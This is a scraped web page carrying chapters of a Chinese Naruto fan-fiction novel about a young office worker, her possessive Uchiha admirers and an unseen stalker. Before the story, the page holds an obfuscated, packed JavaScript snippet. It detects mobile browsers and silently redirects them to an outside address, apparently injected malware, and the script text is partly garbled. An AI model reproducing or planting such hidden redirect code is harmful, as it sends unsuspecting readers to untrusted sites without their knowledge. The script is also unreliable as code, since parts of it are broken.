;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246708|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的充满威慑力的强壮体格,也足够让我产生本能的不安和恐惧。 脊背爬上毛毛的寒意。 我紧张地吞咽了下,将紧握的掌心打开,圆溜溜的糖果在我的掌心滚动:“不开心的时候,就吃一颗糖果吧。” 用亮晶晶的糖纸包着,五颜六色,散发着水果的香气,是孩子们都会喜欢的小零食。休息室能找到的小点心之一,以防低血糖,我会在身上备上一些。 带土说,糖果是给好孩子的奖励。 我想,这或许能让他开心起来。 他眯起眼睛,看了我几秒钟。 我忍住夺路而逃的恐惧。 戴着黑色手套的手指从我的掌心取走糖果。 “定情信物?”他害羞地说。 我:“……” 我就不应该自作多情关心他! 不过这些事之后,好像更了解带土了一些,和对方的关系也变得更加要好了。 这天,气象厅发布大雨特别警报,台风登录,全员放假。 我在家洗完澡出来,发现手机上弹了密密麻麻的聊天通知,有数百条之多,我吓了一跳,连忙点进去,翻到最上面。 这些消息都是一个人发的。 在聊天群组里,最开始,带土发来的一张截图,at了我,激烈控诉。 带土:出轨!! 带土:花心!! 带土:背着我找别的男人!![大哭][心碎] 我点开图片,那是一张网络论坛的热帖截图。账号主拍摄了东京街头的一张宣传写真,抱怨道: 「之前每次通勤路上都能看见这对甜甜蜜蜜小情侣,一整天都会心情很好。 最近不知道是谁去买断的广告位,把我的小情侣写真撤掉换成了警视厅法律宣传。谁要看这个啊,真烦人! 现在只有手机里之前拍的照片了,呜呜……还我小情侣……」 她所说的小情侣写真照,是我差不多忘记了的,之前和鸣人拍摄的宣传写真。 不知道为什么,这条帖子的热度离奇得高,被到处转发,难怪会被带土看见。不少人都在底下询问两个模特是谁。很快就有木叶的学生出来说,这两个人并不是模特,只是刚毕业的大学生素人。 “也没有在谈恋爱?” “完全没有呢!”校友不确定地补充了一句,“至少在校期间,这两个人没谈过。男方一直把女方当挚友来看的。” “什么?!我不相信……明明第一眼就给我超甜的初恋感,怎么会不是情侣……” “我再也不会相信广告写真了,都是骗人的!!” “呵呵,那楼上就有所不知了。” “???” “木叶挚友情岂是浪得虚名!” “??原来是木叶大学的!!” 不知道为什么,底下跟帖的人都一副恍然大悟的模样,发出“既然是木叶挚友情那就没办法了”“哎呀早说是木叶挚友啊,那就很正常了”的声音。 我:??? 这是为什么啊?! 但是带土完全不管“我和鸣人是好朋友,那天是遇到了一个新开业的写真馆的店主拜托我们帮忙……”的说明,给我发了一句让人毛骨悚然的“我去找你”之后,无论我怎么发送消息,都没有再回复过我了。 打电话过去,接通以后却没有声音。 就像鬼故事一样,只有嗞嗞的电流声。 在挂断前,我似乎听见了一声短促的、令人毛骨悚然的低沉笑声。 那不是带土的声音。 “带土……带土?!你还好吗,怎么了?!喂?!” 再打过去,却没有人接了。 短短几分钟,我在空调房里出了一身汗。莫名其妙牙齿打颤。 鬼、鬼故事吗?! 窗外树枝敲打窗户的声音让我一惊一乍起来,就连大雨天电灯接触不良导致的短暂闪烁,都让我草木皆兵,吓得搓着胳膊发抖。 我扑过去把家里所有的门窗都反锁起来,即使这样还是心中惴惴不安,不能安心。 还没等我平复心情,忽然接到了宇智波斑的电话。 电话铃声差点把我吓出一身冷汗,汗湿的掌心险些没能抓住手机。 我哆嗦着接起来。 或许是台风影响,通话时信号不好的嗞嗞电流声令我有些后背发毛。 谢天谢地,是斑的声音。 他也是为了同样的事来问我的,大概是看到了带土在群里发的消息。于是我又口干舌燥地解释了一遍。 “我开完会就过去。”他的声音低沉而威严。 命好苦,怎么台风天还在公司开会,不对,等等!为什么这些家伙都不听人解释的啊!自说自话技能到了满点,我有点崩溃了。 “带土已经在来的路上了。”我试图阻止他。 “我立刻就过去!” 斑迅速改口,原本还镇定自若的从容语气立刻变得警惕起来。他对电话那头的秘书命令,调整他接下来的日程安排。 我:“……???” 我看着传出忙音的手机发愣。 40-50 第41章 彩蛋四 公司组某日的聊天记录。 Group Chat(3) 宇智波带土: 欸~~@梦主 10:38 PM 宇智波带土: 你今天请假了?要和谁去约会~~~ 人家还要在外地出差,真寂寞[痛苦] 10:39 PM 我: 嗯,是的,请了上午的假!已经收到带土批假的通知了,谢谢! [图片] 学校里的小猫生病了,我带它来看医生 10:40 PM 御美都酱之前眼睛做过手术,身体一直不是很好……经常倒在我面前,很可怜 10:41 PM 宇智波带土: 欸~~是小猫咪呀~~ 10:41 PM 宇智波带土: 可怜的残疾小猫没有人喜欢也没有人要养,好可怜噢[可怜] 没有你的话就活不下去了呢~~~ 10:42 PM 我: 我并没有这么重要啦……不过这孩子的确让人忧心呢 抱它去医院的路上,一直发出奄奄一息的喵呜声,让我超级担心 不过医生检查之后说这孩子没事,我真是松了口气[光环] 10:43 PM 宇智波带土: 你真是善良的好孩子呀~ 10:45 PM 宇智波斑: [语音]…… 10:47 PM 我: 啊,斑,下午我会过去交接一下文件 10:47 PM 宇智波斑: [语音]带、土 10:47 PM 宇智波带土: 人家还在外地出差噢~~~[可怜] 辛苦地工作呢总裁大人 10:48 PM 宇智波斑: [语音]狡猾的家伙。 ,10:48 PM 我: ……咦? 10:49 PM 宇智波斑: [语音]不是指你,下午我有会议,文件中午给我。 10:50 PM 我: 可是…… 10:50 PM 宇智波带土: 可是?怎么了~~~是御美都酱太可爱让你不想工作了吗[惊讶]?嗯嗯我懂的噢[思考],毕竟是最可爱最无依无靠的可怜残疾小猫呢~~[受伤] 10:51 PM 我: 可是小斑刚刚忽然跳过来,睡在我的怀里……? 10:59 PM 听说吵醒睡觉的小斑会遇见比死亡还恐怖的事 甚至是木叶十大怪谈之一…… 11:00 PM 明明只是可爱的小猫咪吧?才不会那么可怕吧? 睡着的样子太可爱了……不知道中午能不能赶过去呢…… 11:01 PM 宇智波带土: 你这家伙@宇智波斑 11:01 PM 宇智波斑: [语音]出差辛苦你了,带土。 11:01 PM Enter a message 第42章 止水IF线番外-上 01、 “在做什么呢,脸上的表情这么可疑?” 午休的时候,明美前辈喝着咖啡,凑过来看我的手机屏幕。 她的午餐只有一杯咖啡和几片蔬菜沙拉,每天却依然有强大的精力完成大量工作,真是太厉害了。 香喷喷的气息靠近过来,明美柔软的手臂放在我的肩膀上,信手捏了下我的脸颊肉,不怀好意地将我嘴角掩饰的笑容拉大:“连午餐都顾不上吃了。” 我有些不好意思地放下手机,一边往嘴里塞饭团,一边解释:“只是在和网络上认识的朋友聊天。” 《一起来建设忍者村吧!》是一款模拟基建游戏。 游戏的故事背景在战乱频发的战国时代,地图中设置了多个忍者村,玩家们的身份便是这些忍者村的居住者。在游戏中,需要玩家之间以忍者村为单位,相互合作,利用得到的资源,共同建设属于自己的忍者村,抵御外敌,将自己的村子建设成最强大的忍者村。 基建游戏的乐趣,就是看着当初简陋无比的小村子一点点变得繁荣昌盛。 因为我是木叶大学的学生,出于归属感,在登入游戏建立账户时,选择了木叶忍者村。 在游戏中,我遇到了许多志同道合的朋友。其中,一位被木叶里的大家称为“止水哥”的人,一直都对我十分照顾。 游戏中有各种职业设置,止水目前是木叶暗部的成员之一。选择进入暗部的玩家,在游戏中会涉及到忍者村的一些阴暗面,时常需要做一些在道德法律边缘的危险任务,大多是性情阴郁安静、嫉世愤俗之人。但止水本人却完全不是这样。他为人热情开朗,乐于助人,公会里的成员都很喜欢他。 在刚进入游戏时,就是止水主动上来帮助我,教会我基本操作,带我下副本。 他也十分细心,平时会留意我缺少的资源,在我需要时不经意提出“真巧!这个我刚好有!”,善良地赠送给我。止水哥是待人真挚友善的好人,不仅仅是我,他对新加入公会的成员都非常友好。也正因如此,大家都把他当成大哥哥一样亲近。 我也是如此。 即使是在网络上认识的、从未见过面的陌生人,在我的心中,也早就把止水哥当成最重要的挚友之一看待——在木叶,这是对两个人关系性的最高诠释。我们会为了重要的挚友付出一切,被砍断手指也不会松开紧紧握住对方的手,哪怕牙齿脱落流血,也要死死咬住对方。为了挚友,即使是自己的性命也可以牺牲。 每次上线,我都很期待和止水一起打游戏。两个人经常一起做任务、下副本,在队伍频道里聊天。 或许正是因为我和止水哥的关系太好了,只要上线游戏就会和他待在一起,以至于没有时间和其他人一起玩游戏。我的好友列表迄今为止都没有成功加上第二个人。哪怕有类似的苗头,也总会因为各种各样的意外与对方失去联络,或者被打岔忘记。 “唉?这么一说好像真的,你一直都在和我组队……”在我有些沮丧地与止水诉苦以后,他认真地安慰我,“没关系的,你是可爱的好孩子,以后会有机会认识其他朋友的。” 游戏中操控的角色,一高一矮坐在点心店外面的木椅上,拿着樱饼在吃。 止水很喜欢请我吃东西。 他说看着我的数值全都变得满满的,他的心里会很满足。 下副本的时候也是,如果我在他面前受伤了,血量见底。他会非常紧张,不顾一切也要冲过来,把我的血量拉满。即使这样做以后,他会重伤战损,也在所不惜。 在我激烈地拒绝他为我治疗,要求他先治疗自己后,偶尔有一瞬间,止水会露出相当可怕的表情。 我吓了一跳,心脏扑通扑通的。 是看错了吗? “不可以吧?你在说什么?”他疑惑地说,手掌按在我的伤口上,脸上身上全是血,黑色的眼睛被血糊住,看起来就像诡异的猩红色似的,“在我面前说这么任性的话,让我不要管你什么的……?你这莽撞粗心的孩子,不需要我照顾的话,你想要谁来照顾你?你遇到了别的我不认识的朋友了?那个人得到了你的信任和依赖?你们之间的关系发展到哪种程度了?是谁?什么时候?在哪里?你和他说过什么?比起我,还是那个人更好吗?!明明已经受伤了,还要倔强地推开我,拒绝我的靠近……啊啊,我明白了,你是在意我的,我们是密不可分的。你只是责怪我这次没能保护好你。是的,都是我的错,如果我的速度能再快一点——” “止、止水哥?” 看见我害怕恐惧的表情,他笑着用满是血的手掌,轻轻托着我的脸颊,湿润地抚摸。脸上是我熟悉的亲切温暖笑容,仿佛承诺什么似的。真诚坚定地说。 “别害怕,我在这里。对不起,伤害你的人我已经全部都杀掉了。” 瞬身止水的背后是遍地的尸体,血液染红了地面。 他刚刚恐怖得就像一个陌生人。 “这样的错误我不会再犯了。不会再让你受伤了……绝对。” 那之后,我果然再也没有受伤过。 回忆结束。 “真的吗?”我努力地与黏牙的樱饼搏斗,口齿不清地说,“总是麻烦止水带我下副本,有点不好意思。我想和差不多等级的玩家组队比较好……”止水的等级比我高很多,他下低级副本的经验值和资源都非常少。等于是浪费游戏时间陪我过家家。 “你真是温柔的孩子。”止水说,他侧过头来看着我拼命蠕动的腮帮,笑着说,“我很乐意帮助朋友,不过如果你想结识新朋友的话,就尽管去做吧。” 他真是个好人! 那之后我试着去加其他的玩家,但不知道为什么,几乎所有人都盯着我的后背冒着冷汗婉拒了我。偶尔有几个大着胆子同意的,之后也不会回复我的消息,同意我的组队申请。 难道我被其他人讨厌了吗? 可惜,自从实习后我上游戏的时间锐减,只有周末才有空登录游戏,每次也很快就会下线。 我上线的时间和频率都不规律,但无论什么时候我登录游戏,止水哥都几乎同时也登录上线,就像能预测到我的上线时间似的。发送可爱的小黑猫表情和我打招呼,好似我们从未有过隔阂,热情又真诚。 “终于见到你了!” “我也很高兴见到止水哥!” 这么热情地回复之后,止水就会大哥哥般的,笑眯眯地摸摸我的脑袋,然后牵起我的手。 接着把他这段时间帮我保存的资源交给我。 每个资源和道具都是当前做任务刚好会用到的,数量也一个不差。简直就像顺着网线扒到我的游戏账户,把我未来的任务进程全部算了一遍似的准确,贴心到令人有些毛骨悚然的地步。不知道止水哥是怎么做到的,真是太厉害了! “谢谢止水哥帮忙保管资源!” 游戏里是有偷盗玩法的,长期不上线的资源会被偷走。拜托给朋友保管是安全和常见的做法。 不过我不太确定,自己有交给止水哥那么多资源保存吗……? 有时候我会在公会频道里看到打趣止水的发言。 止水哥人缘很好,即使是打趣,也大多是善意的。 又或者说,不少人其实……挺害怕他的?他在团战过程中发号施令、收割生命时,锋利冰冷的眼神令人不寒而栗。 [止水哥最近偏心得越来越明显了啊w恋爱的酸臭味ww没眼看] [小女朋友没上线,止水哥都快成木叶村一景:登陆点望妻石] [望妻石草] [@止水,你女朋友上线了噢!] [来赌止水哥几秒钟会出现在小女朋友旁边并成为大型挂件] [幻 影 瞬 身 术 的 真 正 用 法] [不要这么用幻影瞬身术啊!!(惨叫] [跟随宠止水w] [跟随宠笑死忍村新玩法是吗,狗策划什么时候上线宠物系统我的大兵粮丸快按捺不住了!] [止水哥偶尔也放你小女朋友出来和大家玩玩嘛ww嫉妒心强的男人真可怕] [做男鬼妒夫也是止水哥忍道的一部分] [草你们这群人把忍道当什么啊!] 原来止水哥在游戏里有女朋友了啊……这样的话,我现在的身份就有些尴尬了。 之前游戏上线恋爱系统,奖励丰厚。但是个双人任务,需要结伴合作完成。 止水找上我,失落地说,没有人愿意和他去火影楼领取恋爱任务,希望我可以帮忙。他很想要任务奖励里的情侣手链。 一直都是止水帮助我,难得有我能帮助止水的时候。我很爽快地同意了。 两个人去火影楼领取了任务,牵着手一起约会、吃点心、晚上去看烟火大会。度过了愉快充实的一天,止水也顺利获得了他想要的手链。手链是成对的,挂件是一枚小小的团扇,止水很大方地把女款戴在了我的手腕上,送给了我。 “好漂亮啊。” 我举起手,金属手链倒映着烟火绚烂的光彩。欢乐喧嚣的声音在背景里变得模糊。 只有凉风和蝉鸣如此清晰。 “嗯。”止水侧着脑袋,看着我说,“的确很漂亮。” 任务完成后,我和止水的关系在个人面板上就成了情侣。不过两个人还是和之前一样,像朋友般相处,并没有什么太过亲密的举措。以至于我差点忘记了这件事。 “说起来,止水哥,”这天,我和止水提起这件事,将手链解下还给他,“今天要不要抽空去火影楼一趟,把之前的恋爱关系解除掉?” “……” “止水?” 他沉默了太长时间,不知道温度怎么忽然变低了。我忍不住搓了搓胳膊,抬头去看他的表情。 止水低下头,疑惑地问我:“怎么会忽然想起这件事?你遇到谁了?有人和你说了什么?”他的声音越来越紧张,语速也越来越快,“是谁?你要和谁在一起?还是说……你开始讨厌我了?!” 他的眼神变得晦暗无光起来。 我挠了挠脸颊,有些尴尬地解释:“不是……止水哥现在有女朋友了,还和我保持这样的关系,会让女朋友误会的。” “……”止水猛地松了口气。他停下脚步,将手链重新给我戴上,细致地扣好,牢牢锁死,低声道,“暂时不用管这件事。” 已经交了女朋友却在游戏里和我维持着恋爱关系,止水哥难道是这种爱左拥右抱的渣男?我有点生气:“止水哥,这样会伤女朋友的心的!” 止水盯着我苦笑道:“我没有女……我有,我……我们感情很要好……她对我有点误会,还不能明白自己对我的心意。我,我会给她多一些时间适应。唉……总之,我有我自己的苦衷。” 我不太理解,但尊重止水的决定。 “如果日后止水哥有需要的话,我随时都可以去解除关系。”我将主动权交给止水。 止水勉强道。 “不,别再说这样的话了。” 止水的心情好像有些郁闷委屈起来。不存在的耳朵也耷拉下来了。 微风吹过南贺川的水面,细小的水声混合着草叶簌簌作响的声音。风景清新美好。 草鞋踏在岸边松软的地面。 游戏里也有适合生活玩家的经营系统,最近村子建设得很好,任务完成的时效不再像之前那么紧张。止水带着我来南贺川边散步。 肥美的游鱼在南贺川里惬意地甩了甩尾巴,刚游了半秒钟,被止水用小太刀钉死在河床,提了出来,不到半分钟就开膛剖腹,在火堆上香喷喷地烤制着。 我努力嗅了嗅空气里的香气,坐在旁边的石头上等待着。 “止水哥烤鱼的手艺一定很好,”我说,“可惜在游戏里尝不到真正的味道。” 《一起来建设忍者村吧!》算半个全息游戏,自由度很高,大部分拟真度都有。视觉听觉触觉,甚至是一部分嗅觉都足以以假乱真。但味觉却做不到,吃下食物后也不会感到真正的饱腹,只有数值的增加。 “听说年底发售的月之眼能够做到真正的身临其境,”止水说,“就像另一种人生,完美的人生。” “止水哥居然也关注月之眼!”我有些惊讶地说。我还以为只有爱玩游戏的年轻人会期待呢。 止水虽然也玩《一起来建设忍者村吧!》,但更多时候感觉他并不是为了玩游戏才留在这里,而是游戏里有什么他在意的东西。有时他独自完成暗部的任务回来后,身上的气息冰冷陌生得我不敢靠近。 止水翻动着烤鱼,笑着说:“跨时代的全息模拟游戏,很难不关注吧。” “这倒也是……” 我想了想,想到止水这么长时间和我的相处,于是决定告诉对方我的一部分真实信息:“那个,”我有些不好意思地说,“其实,我正在研发月之眼的宇智波集团工作……虽然只是实习生……” 或许是打开了话匣子,在烤鱼的过程中,我断断续续把最近发生的事告诉了止水。工作很辛苦,压力很大,之前还被坏蛋主管欺负。但是遇到了好心的上司,看到了我的努力。也交到了新的朋友,所以这段时间在周末有空上游戏来玩。 明明一切都在向好的方向发展,可倒霉的我,依旧总是碰到糟糕的事。 无时无刻不存在的被窥伺感、天空上徘徊不去的漆黑乌鸦群、疑似被动过的私人物品、身后传来的低哑呼吸声、阴郁湿冷又压抑的视线…… 怪异又令人细思恐极。 就像染上了什么甩不掉的脏东西。 “那么,真的有人在跟踪你吗?” 我露出迟疑的表情,慢慢摇了摇头。 我从来没有发现过。 心理医生温和地告诉我,这是过度紧张焦虑之下产生的幻觉。她让我放平心态,维持充足的睡眠时间,还给我开了药,但是我不想吃药。 被害妄想症,多疑。失眠,精神不稳定。 工作压力太大,项目的重担令我喜悦又恐惧。焦虑到频繁地咬指甲以至于手指出血,鲜血淋漓也无知无觉。 绝对不能让老家的爸爸妈妈知道这件事,我已经够让他们操心了。 可是一个人扛着这种事让我时常在深夜崩溃流泪。 为什么生活中总有这样那样的困境,令人想要放弃。人生总是如此痛苦吗? 止水耐心地倾听,时不时说上几句。莫名其妙的,我说着说着就哭了起来,捂着脸眼泪怎么也止不住。止水抱住我,抚摸我颤抖的脊背。 我哽咽着说:“总之,谢谢止水一直都在帮我……” 温暖真诚的止水就像一个安全的避风港,总能提供可靠的帮助。登录游戏见到他之后,就好似得到了喘息之机,逃离了痛苦的现实。 将这段时间压在心里的事情倾诉过后,心里就好多了。我擦了擦眼泪,抽抽搭搭地咬着烤鱼。 这次的事件打开了契机,我和止水加上了联系方式。聊天的话题也逐渐从游戏过渡到现实生活,止水时常和我分享他生活中遇到的趣事,每次看到他的文字,我的脸上总是情不自禁浮现出笑容。我偶尔也会向他诉苦和抱怨工作上的压力,他总能用有趣的方式令我高兴起来。我和止水的关系越来越要好,两个人时常在手机上聊天。 今天也是,止水和我说这周末游戏公会在东京有线下团建,不少玩家都会来,问我要不要过去。 “止水哥也会去吗?” “嗯,会去!” “太好了,”我忍不住发了个欢呼雀跃的表情,“我也要去!好期待见到止水哥!” 止水把时间地点发给我,我充满期待地加入日程里。 明美听了我的解释,露出一言难尽的表情:“你这个迟钝的笨蛋……” “嗯?” 明美刚要说什么,爱理忽然兴奋地挤了过来,压低声音,神神秘秘地和我们说,今天公司里来了个超帅的警官。 宇智波集团是跨国大型企业,业务繁多。在外宣方面注重企业形象,会和全国各地的学校合作,定期组织参观活动。 今天就是参观日。 附近幼儿园的小朋友们穿着漂漂亮亮的制服,戴着明黄色的小帽子。像一朵朵向日葵,在老师们的带领下,叽叽喳喳聚在一楼的中庭。 几位穿着警视厅制服的警官正站在最前面,做安全宣讲。 二到五楼的连廊都能居高临下看到中庭。我和明美她们到的时候,围栏附近已经聚了不少人,都是午休的员工,兴奋地讨论着今天新来的那个警官。 我们来的时机不好,正面的位置都有人了,我们只能站在这些警官的背面,听得到声音,但看不见脸。 宣讲很快就结束了,到了提问环节。向日葵们努力举高手臂。 “警官先生!”一个小孩子天真无邪地发问,“你的眼睛是怎么回事?是瞎掉了吗?” 有胆小的孩子大哭出来:“好吓人!” “我要回家!!呜呜呜妈妈——” 站在下面的一位黑发警部补,用波澜不惊、没有感情的声调,干巴巴地说:“乱问问题的小孩子没有小鸡○。” “佐井!!” 从旁边跑出来另一个警部猛地捂住了他的嘴。 倒是被问的那位警视长丝毫没有生气,抬手摸了下左眼,笑着说,声音爽朗温暖:“这是我勇敢的勋章。” 接着,他声情并茂地诉说了一个他击败大坏蛋的故事。 “警官先生好厉害!” “原来他打败了大坏蛋,拯救了地球!” 向日葵们瞪圆眼睛,捂住小嘴,眼中满是崇拜之色。 “我、我可以摸摸吗?”一个胆小的小孩子小声问。 顿时炸开了锅。 “我也要!!” “我也要我也要摸!” 老师严厉地说:“不要给警官先生添麻烦!” “没关系的。”他摆了摆手,半蹲下身,笑着说,“来吧。” “摸了就能像警官先生一样勇敢吗?” “不会。”他说,又在小孩子瘪起嘴,开始哇哇大哭的前一刻,摸了摸对方的脑袋,笑道,“因为你第一个发言,已经很勇敢了。” 那孩子破涕为笑,小心地摸了摸他的眼罩,惊讶地说:“是热的!” “警官先生也是活人!” “我也来,让我过去,警官先生!” 闹哄哄的。 “不要着急,一个一个来。”他好脾气地说,同时冷静地给旁边的警部补们使了个眼色,让他们协助老师们一起维持秩序。 小孩子们很快就乖乖排好队,上前和他互动。 “警官先生的头发为什么是卷卷的?” “受伤的眼睛这里会痛吗?” “长、长大以后可以嫁给警官先生吗?” 他对每个孩子都友好且耐心。向日葵们跑下去的时候,个个兴奋得小脸通红。 这个警视长完全就是孩子王嘛。 小孩子们兴奋地叽叽喳喳讨论着,在老师们的催促下,依依不舍地告别了警官,前往其他区域参观。 消息发达的爱理离开了几分钟,回来后兴奋地和我们交流她得到的情报。 “据说这位帅哥警官不仅年纪轻轻就当上警视长,还和咱们的大Boss一个姓氏!也不知道是不是亲戚。” “也姓宇智波?” “嗯!”爱理说,明美费解地咕哝了一句,宇智波到底什么基因,怎么个个都是帅哥,“而且他还戴眼罩,听说是很多年前一次捣毁违禁药物交易时被警视厅内的叛徒射中脑袋,坠入南贺川时留下的伤。呜哇,有故事的男人最帅了!” “独眼眼罩还是美强惨帅哥警官……”明美说,“完蛋了,这肯定是高人气角色啊!” “是啊是啊,不少人准备去要联系方式了——” 爱理还没说完,一楼中庭那几个围在一起,拿着资料正在交谈什么的警官中,那个话题中心的黑色小卷发的男子似有所觉,忽然转过身。 他面容英俊,嘴角含笑,牙齿雪白整齐,左眼上佩戴着一枚黑色眼罩,站得很挺拔。他抬起手,远远对我们敬了个礼,激起一片抽气声和尖叫。 笑容灿烂,眼睛亮晶晶的,背后有不存在的狗狗大尾巴在摇。他的这种光芒四射的英俊成熟是不分种族审美,都能领悟到的,无差别范围攻击。无论是谁,无论年龄性别,都会喜欢天上明媚温暖的太阳。 女生们捂着胸口,此起彼伏发出“咿呀——”的被击中声。 “的确很帅啊!而且对小孩子很有耐心……从八岁到八十岁都能吃得开,”爱理趴在围栏上喃喃道,“我忽然完全理解了阳光型帅哥的魅力!” 听起来爱理要改变自己的喜好了。要叛变执行官派,转投警官先生的制服裤下了吗? “毕竟带土先生绝对不会把私人联系方式给我,”爱理惆怅地说,“还是这位警官看起来温柔开朗脾气好,有求必应。” “不会吧……?”我说,“带土先生人挺好的啊,也很随和亲切。” 爱理对我露出和明美如出一辙的一言难尽的表情:“……你和我说的是同一个人吗?他压迫感好强,我在他面前都不敢讲话的。” ……带土有这么吓人吗? 明美忽然用胳膊推了下我。 “怎么了,明美?”我看向她。 明美匪夷所思地盯着下面:“我怎么感觉……这家伙在看你?” “欸?”我把饭团咽下去,连忙看过去,那位警视长却已经和大家打完招呼,转过身了,我只能看到他的后脑勺。 “应该不会吧?”我干巴巴地说,喉咙发干,心脏怦怦乱跳,饭团包装纸在手里揉成皱巴巴一小团,“我不认识他。” 掌心全是冷汗。 那股熟悉的被窥探幻觉,又找上我了。 第43章 止水IF线番外-中 02、 我知道自己这样的状态是不正常的,是多思多虑导致的幻觉。 但是,我还是忍不住产生这样一个想法:我的家里,好像…… 有另外一个人在。 不知是从哪天开始,原本独居的小小公寓,下班回家唯一能放松的地方,成为我新的压力来源。 我开始频繁地怀疑,家中还有另一个人存在。 我握着棒球棍,打开家中所有的灯,惊恐万状,翻箱倒柜、掘地三尺,无论如何也找不到这个人。 这是你的幻觉。心理医生说,学会放松,接纳自己的不完美。 这是你的幻觉,根本没有人和你住在一起,我对自己说,别再疑神疑鬼了!你什么都没找到不是吗?! 可这就像镜片上的灰尘,只要注意到了,就很难忽略。 看不见,听不到,摸不着。 我总是觉得,我的身后站着另一个人。 在我面对镜子洗漱时、在我穿鞋换衣时、在我烧热水泡速食面时、在我失眠熬夜时…… 有人在看着我。 一直。 一直。 在看着我。 就在我的家里。 在我掏出钥匙开门时,他在门后,隔着薄薄的门板,手掌与我的手掌相贴,发出低低的沙哑叹息。 在我于浴室洗澡时,他坐在沙发上,注视着朦胧的磨砂玻璃上的水雾。 在我于厨房泡面时,他靠着椅子背,嘴唇抿成一条直线,不悦地瞪着泡面桶,手指不赞成地、焦躁地敲打着椅面。 在我半梦半醒上,他在床沿,轻轻顺着我头发的走向,抚摸与嗅闻。 在我于客厅看书工作时,他在窗外,用乌鸦的眼睛注视我。 在我于卫生间洗漱时,他在镜子里—— 站在我身后。 我尖叫着回过头,手里挥舞着牙刷。 我的身后什么都没有。 双腿发软,我呜咽着扶着洗漱台才勉强站稳,没有摔倒。 眼泪模糊了视线。 薄荷味的牙膏混合着牙龈的出血,清凉掺着铁锈味,我捂着嘴扑到马桶前,干呕出几口酸水。 灼热的视线。 喘息的气流。 指腹的温度。 在哪里。 在哪里。 他在哪里??!! “你最近气色好差啊……”公司里的同事不经意提起,“项目太忙了?” “啊……嗯。”我含糊地应付过去。 谁知道爱理看了我一眼,脸色吓得煞白:“你几天没睡过觉了?!” “……没什么吧……嗯……别担心,我每天都睡的……”我说。 “你真是……你这家伙说什么胡话?!想让我生气?!现在!立刻!去请假回家休息!”爱理严肃道,“失眠?看过医生了吗?” “家里有治疗的药。” 爱理狠狠地瞪了我一眼。 “听我说!回家吃药然后立刻躺下睡觉,听到没有!”她想了想,去收拾东西,“算了,我不放心,我陪你回家一趟!” “不不不不用了。”我说,项目很忙,爱理也没什么休息时间,我不能麻烦她,“我很好,我没事……就是有些精神过度紧张……” “你没事个鬼!!”她生气地说。 “有朋友!”我急中生智,连忙说,“我有朋友是学医的,正好就在我公寓附近的大学研习。我让她来照顾我。” 爱理将信将疑:“有专业的朋友照顾或许更好……” 她家境富裕,娇生惯养,并不怎么会照顾病人。爱理对自己这点心知肚明。 我疯狂点头。 “那我帮你把方案先改一遍。”她最后说,“你好好休息,工作就交给我吧。” 我的确觉得自己这两天脚步虚浮,食欲不振,勉强工作下去也只会让同事担心。便提交了请假申请,带土很快打电话过来,问我怎么了。 “最近有些失眠,医生让我多休息。” 他很爽快地批了假,又问:“怎么会失眠?工作太辛苦了?真是让人操心的坏孩子,不要逼自己太过哦,比起工作,你才是最宝贵的。” “嗯……” 我不敢把自己现在的精神状态告诉他,在朋友身份以外,他还是我的上司。严重的精神疾病或许会影响我的转正评估。抱着“很快就治好”的侥幸心理,我紧张的目光胡乱扫过桌面。 那是那天来做法律宣讲的警视厅的人带来的宣传册,除了发给小孩子们,也放在公司休息室的大桌上,供职员们随意取用。 上面印着一起连环杀人案件,凶手仍然在逃。这段时间的新闻也经常能看见报道,凶手专门对独居单身女性下手,跟踪尾随被害者,并在受害者家中潜伏多日,享受被害者被杀前的恐惧,可谓是极端的心理变态。 因为长久没能破案,许多单身独居女性提出抗议,警视厅的压力很大,专门召开了发布会。据说已经加派了人手,成立了专案组,由一位已经退出一线许久的警视长负责侦查。这位警视长有过多起破获大案的履历,为人英勇无畏、嫉恶如仇、心细如发,总能发现那些被忽略的细节破绽。 或许正是这段时间如火如荼的刑事新闻,加上我本身处于凶手选择被害者的范围内,我最近才总是疑神疑鬼,难以入睡吧。 而长期失眠又导致我出现幻觉。 原来如此,我心里的巨石放下了。 我就说,家里根本没有第二个人的。 “我知道了,谢谢你带土。”我说,“我会照顾好自己的,休息半天就没事了。” “不是我不相信你,只不过你是病人,病人说的话不能当真。哎呀,倔强又逞强的坏孩子,需要有人好好看管呢,呵呵呵,这个最棒的人选你应该知道是谁吧。唉,人家还在出差,真讨厌……啊啊,难得的好机会,便宜那家伙了!我叫斑去照顾你?” “不、不用了!”我满头大汗,一想到斑穿着居家服坐在我床边问我要先喝热水还是要先死的画面,就心脏骤停,“斑、斑比我更忙,前天还是在公司里睡的,都没时间回家。我自己可以的!” 带土还要说什么:“公司有专业的医疗团队——” 我说:“只是有点失眠而已,没那么严重!!我会联系小樱过来的!!” “噢……” 我想起来还没有和带土提过小樱学的是医疗专业:“小樱是那个,在和纲手——” 谁知道带土就像心知肚明似的,并没有追问,而是传出了一些手指点击平板的声音。 “我看下。下一趟班机是……啊,我三天后能回来,暂时先把你交给那位朋友,之后等人家去照顾你噢。” “不——” “咦?太感动了所以要做报恩的白鹤嫁给我?好开心!婚礼就定在我回来之后吧,嗯嗯,那就这么说定了。” 我坐在工位上发了会儿呆,抹了把脸,收拾好东西,背着包往外走。边走边给小樱打电话,刚接通,就听见小樱兴奋的声音。 “好巧,”她高兴地说,“我正要打电话给你呢!” “诶诶?” “纲手老师帮我申请到了一个观摩机会!”小樱欢欣雀跃的声音隔着电话都能传递出来,“能亲眼看到我很崇拜的医师做手术的过程,我最近感觉自己学习到了瓶颈期,怎么努力都止步不前,或许这次能给我带来新的突破!” 她听起来十分期待。 “真的吗?太好了,小樱!”我为她感到高兴,“你越来越厉害了!” “嘿嘿嘿……”小樱说,“差点忘了,你打电话过来是找我有什么事吗?” “没、没什么,”我用力抠着背包带子,结结巴巴,说,“就是太久没听到小樱的声音,有点想你了……” “什么嘛,你这家伙,就这样对我撒娇!”小樱气呼呼的,“真狡猾!坏蛋!!” 我和小樱聊了两句,她那边很快就要坐班车走,我们匆匆掐断了电话。 